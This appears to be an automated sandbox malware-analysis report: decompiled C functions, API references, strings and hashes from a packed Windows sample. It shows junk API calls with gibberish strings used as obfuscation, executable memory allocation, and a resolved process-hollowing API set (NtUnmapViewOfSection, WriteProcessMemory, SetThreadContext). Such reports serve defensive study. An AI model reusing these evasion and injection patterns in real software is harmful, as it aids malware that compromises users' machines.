Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00401564(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t22;
				void* _t25;
				void* _t34;

				_t34 = __fp0;
				_t23 = __edi;
				_t22 = __edx;
				_t19 = __ebx;
				E00412CF4(E00412DF5, _t25);
				if( *0x43cc54 == 0xc) {
					__imp__OpenJobObjectA(0, 0, "futefohalumiluyowemaboxogarirewemixehufiwiji");
					GetLocaleInfoA(0, 0, 0, 0);
					E004015FB(_t25 - 0x28, "vemetahupofutadiki");
					_push(0);
					 *((intOrPtr*)(_t25 - 4)) = 0;
					E00402C34(__ebx, _t22, __edi, 0, 0);
					_push(0);
					E004027FB(__ebx, _t22, __edi, 0, 0);
					_push(0);
					_push(0);
					_push(0);
					E00402AE7(__ebx, _t22, __edi, 0, 0);
					_push(0);
					E004023E9(_t19, _t22, _t23, 0, 0);
					_push(0);
					E004022C7();
					E004022B1(0);
					E00402869(_t22, _t23, 0, 0);
				}
				 *0x43cc54 =  *0x41f354;
				 *0x43cc54 =  *0x43cc54 + 0xb2d3b; // executed
				E00401324(_t22, _t34); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t25 - 0xc));
				return 0;
			}

0x00401564
0x00401564
0x00401564
0x00401564
0x00401569
0x00401578
0x00401583
0x0040158d
0x0040159b
0x004015a0
0x004015a1
0x004015a4
0x004015a9
0x004015aa
0x004015af
0x004015b0
0x004015b1
0x004015b2
0x004015b7
0x004015b8
0x004015bd
0x004015be
0x004015c4
0x004015cc
0x004015cc
0x004015d6
0x004015e0
0x004015e6
0x004015f0
0x004015f8

APIs

__EH_prolog.LIBCMT ref: 00401569
OpenJobObjectA.KERNEL32 ref: 00401583
GetLocaleInfoA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040158D
_ftell.LIBCMT ref: 004015AA
_fseek.LIBCMT ref: 004015B2
_printf.LIBCMT ref: 004015B8

Part of subcall function 004022B1: __wcstoi64.LIBCMT ref: 004022BD

Part of subcall function 00402869: __getptd.LIBCMT ref: 00402875
Part of subcall function 00402869: _abort.LIBCMT ref: 00402897

Strings

vemetahupofutadiki, xrefs: 00401593
futefohalumiluyowemaboxogarirewemixehufiwiji, xrefs: 0040157A

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: H_prologInfoLocaleObjectOpen__getptd__wcstoi64_abort_fseek_ftell_printf
String ID: futefohalumiluyowemaboxogarirewemixehufiwiji$vemetahupofutadiki
API String ID: 1946867905-2195284033
Opcode ID: bfa3db4eb0f07e2703e14863c2d8d74a1b7a5904abfd81cc626f5d271c50eb6e
Instruction ID: 9256ed7ce0b5f74c96ac73c1a30b8da98b6baf0a63c3ba980ede07e6d7018da3
Opcode Fuzzy Hash: bfa3db4eb0f07e2703e14863c2d8d74a1b7a5904abfd81cc626f5d271c50eb6e
Instruction Fuzzy Hash: AB012C31902520A6C622BB779E4A9CF7E689F0A358B00543EF409B11D1DBBC06458AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00530630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005306E2

Strings

GetStartupInfoA, xrefs: 0053145B, 00531461
user32, xrefs: 005306DB, 005306E1
CreateFileA, xrefs: 0053088B, 00530891
NtUnmapViewOfSection, xrefs: 00531085, 0053108B
WriteProcessMemory, xrefs: 00530CE9, 00530CEF
PostMessageA, xrefs: 005312B0, 005312B6
WinExec, xrefs: 00530820, 00530823
DefWindowProcA, xrefs: 00531374, 0053137A
ntdll.dll, xrefs: 00530FE2, 00530FE8
GetCommandLineA, xrefs: 00530F82, 00530F88
GetMessageA, xrefs: 005312F7, 005312FA
NtWriteVirtualMemory, xrefs: 0053112C, 00531132
MessageBoxA, xrefs: 005306EE, 005306F4
VirtualAlloc, xrefs: 00530AC1, 00530AC7
VirtualFree, xrefs: 00530BB2, 00530BB8
VirtualAllocEx, xrefs: 00530B44, 00530B4A
GetFileAttributesA, xrefs: 005313D7, 005313DA
CloseHandle, xrefs: 00530938, 0053093E
GetThreadContext, xrefs: 00530A4C, 00530A52
kernel32, xrefs: 005307ED, 005307F3
VirtualProtectEx, xrefs: 005314E9, 005314EF
WaitForSingleObject, xrefs: 00530E95, 00530E9B
ReadProcessMemory, xrefs: 00530C4A, 00530C50
SetThreadContext, xrefs: 00530D7A, 00530D80
ExitProcess, xrefs: 00531554, 0053155A
WriteFile, xrefs: 005308CD, 005308D0
RegisterClassExA, xrefs: 005311B7, 005311BD
CreateProcessA, xrefs: 005309BB, 005309C1
GetModuleFileNameA, xrefs: 00530EFB, 00530EFE
GetMessageExtraInfo, xrefs: 00530794, 0053079A
CreateWindowExA, xrefs: 0053123E, 00531244
ResumeThread, xrefs: 00530DEF, 00530DF5

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 231beef21dfb0857733ca3ef16a17de3c3fdde8042bb66bc92f5ef8f69491c9b
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: D7A25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00407423, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00407423(intOrPtr _a4) {
				struct HINSTANCE__* _t6;
				_Unknown_base(*)()* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				void* _t12;

				if(TlsGetValue( *0x4176d8) == 0) {
					L4:
					_t15 = L"KERNEL32.DLL";
					_t6 = GetModuleHandleW(L"KERNEL32.DLL");
					if(_t6 != 0) {
						L6:
						_t7 = GetProcAddress(_t6, "EncodePointer");
						L7:
						if(_t7 != 0) {
							_t9 =  *_t7(_a4); // executed
							_a4 = _t9;
						}
						L9:
						return _a4;
					}
					_t6 = E00404B5C(_t15);
					if(_t6 == 0) {
						goto L9;
					}
					goto L6;
				}
				_t10 =  *0x4176d4; // 0x1
				if(_t10 == 0xffffffff) {
					goto L4;
				}
				_push(_t10);
				_t12 =  *(TlsGetValue( *0x4176d8))();
				if(_t12 == 0) {
					goto L4;
				}
				_t7 =  *(_t12 + 0x1f8);
				goto L7;
			}

0x00407439
0x0040745c
0x0040745c
0x00407462
0x0040746a
0x00407477
0x0040747d
0x00407483
0x00407485
0x0040748a
0x0040748c
0x0040748c
0x0040748f
0x00407494
0x00407494
0x0040746d
0x00407475
0x00000000
0x00000000
0x00000000
0x00407475
0x0040743b
0x00407443
0x00000000
0x00000000
0x00407445
0x0040744e
0x00407452
0x00000000
0x00000000
0x00407454
0x00000000

APIs

TlsGetValue.KERNEL32(00000000,?,0040749C,00000000,0040A3EE,00439278,00000000,00000314,?,00405003,00439278,Microsoft Visual C++ Runtime Library,00012010), ref: 00407435
TlsGetValue.KERNEL32(00000001,?,0040749C,00000000,0040A3EE,00439278,00000000,00000314,?,00405003,00439278,Microsoft Visual C++ Runtime Library,00012010), ref: 0040744C
GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,0040749C,00000000,0040A3EE,00439278,00000000,00000314,?,00405003,00439278,Microsoft Visual C++ Runtime Library,00012010), ref: 00407462
__crt_waiting_on_module_handle.LIBCMT ref: 0040746D
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040747D
RtlEncodePointer.NTDLL(00000000,?,0040749C,00000000,0040A3EE,00439278,00000000,00000314,?,00405003,00439278,Microsoft Visual C++ Runtime Library,00012010), ref: 0040748A

Strings

EncodePointer, xrefs: 00407477
KERNEL32.DLL, xrefs: 0040745C, 00407461, 0040746C

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: Value$AddressEncodeHandleModulePointerProc__crt_waiting_on_module_handle
String ID: EncodePointer$KERNEL32.DLL
API String ID: 2228147409-3682587211
Opcode ID: 6026a51d10c265899ef1d2f7452de29e263ed683d4a410932f17f57e08d3a9b3
Instruction ID: d1696f5a444964f01fedf671cf224e65c88948d8af2ead074085b920ede62f9d
Opcode Fuzzy Hash: 6026a51d10c265899ef1d2f7452de29e263ed683d4a410932f17f57e08d3a9b3
Instruction Fuzzy Hash: EDF04930A0461667CB116F65DC44AEB3FA99F007A1704C132F81CE62A1DB38EE4186AD

Uniqueness

Uniqueness Score: -1.00%

Function 00530420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00530533

Strings

mfoaskdfnoa, xrefs: 00530520, 00530523
d, xrefs: 00530584
0, xrefs: 00530492
saodkfnosa9uin, xrefs: 005304DA

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 21a6d6f7aa8e1dbf372440fa4e73ee0528f62c8ff018d07bc1db018dee0b4dc6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 61510670D08388DAEB11CBA8C859BDDBFB2AF11708F144058D5486F2C6C3BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 005305B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005305EC

Strings

o, xrefs: 00530600
apfHQ, xrefs: 005305E2, 005305E5

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 0cd5e6437643c95a73aead2b9169575b9dcab9d5e973f83c8fb5e351bcb19336
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: F5012170C0424CEEDF14DB98C5193AEBFB5AF41308F1480D9C4092B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005207A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 005207EE

Memory Dump Source

Source File: 00000000.00000002.249083530.0000000000520000.00000040.00000001.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_emPJndhuvA.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: ba861284fa5893b07faba6330d824de5ecbc5985226b591547a2835c267d44da
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 64F062321027216BD7203AB5A88DA6F7AE8FF4A765F141528E642910C2DA70F8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 00404B2C, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404B2C(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x43923c = _t6;
				if(_t6 != 0) {
					 *0x43f198 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00404b41
0x00404b47
0x00404b4e
0x00404b55
0x00404b5b
0x00404b51
0x00404b51
0x00404b51

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00404B41

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: fdbd216cdbe02a1c51ee0eb6d72933188f56ba8f8df6a89e4165599b160be2d2
Instruction ID: 8c78eb2c59e3067b8a3d564d5222b205fcdbf55b2de4c4afc6d3681a2f9e31bd
Opcode Fuzzy Hash: fdbd216cdbe02a1c51ee0eb6d72933188f56ba8f8df6a89e4165599b160be2d2
Instruction Fuzzy Hash: 0DD05E72A50305AADF009F75BC49B673BEC9384795F108476BA0CC6190E6B4D9408A58

Uniqueness

Uniqueness Score: -1.00%

Function 00520465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005204B6

Memory Dump Source

Source File: 00000000.00000002.249083530.0000000000520000.00000040.00000001.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_emPJndhuvA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 39dbc72f5874e974593d6cb4f1b6f536f3c4592b293bf575af544f17c25ff964
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 87112D79A40208EFDB01DF98C985E98BFF5AF09350F058094F9489B3A2D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00401309, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401309() {
				void* _t1;

				_t1 = VirtualAlloc(0,  *0x43cc54, 0x1000, 0x40); // executed
				 *0x43c740 = _t1;
				return _t1;
			}

0x00401318
0x0040131e
0x00401323

APIs

VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 00401318

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: da933a5bcb584c131ca785086506f49ed2fe4b29e75eef3f5eb6fb10e7accc43
Instruction ID: 01e8e68819ec3e44018323a34a572a0069f75fb9916521369e61b3ff24dcea1c
Opcode Fuzzy Hash: da933a5bcb584c131ca785086506f49ed2fe4b29e75eef3f5eb6fb10e7accc43
Instruction Fuzzy Hash: 31B092B0284300ABE6228FA6AC46B803A60B308B43F102020F708781E8CBB410009F0C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004034DB, Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E004034DB(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x417670; // 0xda7bd9b6
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4397e0 = _t6;
				 *0x4397dc = _t22;
				 *0x4397d8 = _t25;
				 *0x4397d4 = _t21;
				 *0x4397d0 = _t27;
				 *0x4397cc = _t26;
				 *0x4397f8 = ss;
				 *0x4397ec = cs;
				 *0x4397c8 = ds;
				 *0x4397c4 = es;
				 *0x4397c0 = fs;
				 *0x4397bc = gs;
				asm("pushfd");
				_pop( *0x4397f0);
				 *0x4397e4 =  *_t31;
				 *0x4397e8 = _v0;
				 *0x4397f4 =  &_a4;
				 *0x439730 = 0x10001;
				_t11 =  *0x4397e8; // 0x0
				 *0x4396e4 = _t11;
				 *0x4396d8 = 0xc0000409;
				 *0x4396dc = 1;
				_t12 =  *0x417670; // 0xda7bd9b6
				_v812 = _t12;
				_t13 =  *0x417674; // 0x25842649
				_v808 = _t13;
				 *0x439728 = IsDebuggerPresent();
				_push(1);
				E00409EDC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x414454);
				if( *0x439728 == 0) {
					_push(1);
					E00409EDC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004034db
0x004034db
0x004034db
0x004034db
0x004034db
0x004034db
0x004034db
0x004034e1
0x004034e3
0x004034e3
0x00409c77
0x00409c7c
0x00409c82
0x00409c88
0x00409c8e
0x00409c94
0x00409c9a
0x00409ca1
0x00409ca8
0x00409caf
0x00409cb6
0x00409cbd
0x00409cc4
0x00409cc5
0x00409cce
0x00409cd6
0x00409cde
0x00409ce9
0x00409cf3
0x00409cf8
0x00409cfd
0x00409d07
0x00409d11
0x00409d16
0x00409d1c
0x00409d21
0x00409d2d
0x00409d32
0x00409d34
0x00409d3c
0x00409d47
0x00409d54
0x00409d56
0x00409d58
0x00409d5d
0x00409d71

APIs

IsDebuggerPresent.KERNEL32 ref: 00409D27
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00409D3C
UnhandledExceptionFilter.KERNEL32(00414454), ref: 00409D47
GetCurrentProcess.KERNEL32(C0000409), ref: 00409D63
TerminateProcess.KERNEL32(00000000), ref: 00409D6A

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7eee0ef9fa6d3942d1416259601079a9a6eb059cee1657abf82a538dc56d90be
Instruction ID: 33e96f8ee9ec3fdcebafd208e50485e12e3293f22fe1225bef2b460e51e897ef
Opcode Fuzzy Hash: 7eee0ef9fa6d3942d1416259601079a9a6eb059cee1657abf82a538dc56d90be
Instruction Fuzzy Hash: 3C21C9B8821205DFCB00DF28F9896847BE4FB08311F54A03AE509962E5E7B45E81CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 00408843, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408843() {

				SetUnhandledExceptionFilter(E00408801);
				return 0;
			}

0x00408848
0x00408850

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00008801), ref: 00408848

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fdb9396f08c19e8038e7b44a95bdeb8954121cc1b4dc087323df0b480059755e
Instruction ID: 660fadb0387e0ee1c0e5e83b5a6ca025ca89b95945bfafe679165fe318bd8209
Opcode Fuzzy Hash: fdb9396f08c19e8038e7b44a95bdeb8954121cc1b4dc087323df0b480059755e
Instruction Fuzzy Hash: B19002652511008ACB406B706D0D54579D06B4C713792C4756045D4099DE7582005979

Uniqueness

Uniqueness Score: -1.00%

Function 005331FF, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction ID: 9aea4f3812e51409e8e93d6b0811c28400f7799b0c13e3f639e6643821a4fbdc
Opcode Fuzzy Hash: c47001169f558e7805078623876a8b3adc06a536d28c598f5f3b8a6f2b599519
Instruction Fuzzy Hash: C731AE299444599ECF2D57B0D44A1D1BFA0EF9A304F6A0DCACB91AFC57CA30A483C793

Uniqueness

Uniqueness Score: -1.00%

Function 00533253, Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction ID: 83ae19b3b31ca01dc60b2bae43842ad7638a23bf219a0d76ffffcdd269e34e4d
Opcode Fuzzy Hash: cf526be089bbf4f567823773968cea02f6975f775f586de3c71f4e573fc0c6e7
Instruction Fuzzy Hash: A631992990485D9FCB2D47759058191BBA4EF5E304FB60DCACB91AFD57CA30A883C293

Uniqueness

Uniqueness Score: -1.00%

Function 00520083, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249083530.0000000000520000.00000040.00000001.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_emPJndhuvA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: c5ffd817a2775e3bfce92e77fe883a8605b1f2051616e155f476b9830c242b20
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 2A119E723401109FE740DE55ECC5FA677EAFF89320B298065ED04CB392D675E801C760

Uniqueness

Uniqueness Score: -1.00%

Function 00530042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 4c774fabf14f8baf890316c414b9d385ceb7f6d0593f21750707b76a2a9144a5
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: D81170723402009FD758DE65DCE5FA677EAFB88320B698155E908CB352D675EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 00401208, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 67
timenetworkCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00401208() {
				char _v8;
				long _v12;
				char _v1036;
				void _v2060;
				char _v3084;
				char _v4108;
				char _v5132;
				unsigned int _t11;
				void* _t12;
				unsigned int _t27;
				intOrPtr _t29;
				intOrPtr _t31;

				E00410220(0x1408);
				_t29 =  *0x43c740;
				_t11 =  *0x43cc54 >> 3;
				if(_t11 > 0) {
					_t31 = _t29;
					_t27 = _t11;
					do {
						if( *0x43cc54 == 0xae9) {
							SetFileTime(0, 0, 0, 0);
							__imp__DnsHostnameToComputerNameA("yujacom",  &_v4108,  &_v8);
							__imp__GetLongPathNameA("jipeximeyecuxovanewuhimetagovigotehotiletuwunudifizozijepunagavucekayoceroh",  &_v1036, 0);
							GetFileType(0);
							ReadConsoleW(0,  &_v2060, 0,  &_v12, 0);
							__imp__GetConsoleAliasesLengthW(0);
							SetConsoleTitleA("feditoneyuyirodefahecajaguxowuluravoyuzobibife");
							GetModuleFileNameA(0,  &_v3084, 0);
							GetProfileSectionA("yazusupuxifojemevaxatomoworokavorecojesoc",  &_v5132, 0);
						}
						_t12 = E0040106F(_t31);
						_t31 = _t31 + 8;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					return _t12;
				}
				return _t11;
			}

0x00401210
0x0040121a
0x00401221
0x00401228
0x00401230
0x00401232
0x00401234
0x0040123e
0x00401248
0x0040125e
0x00401271
0x00401278
0x0040128c
0x00401293
0x0040129e
0x004012ad
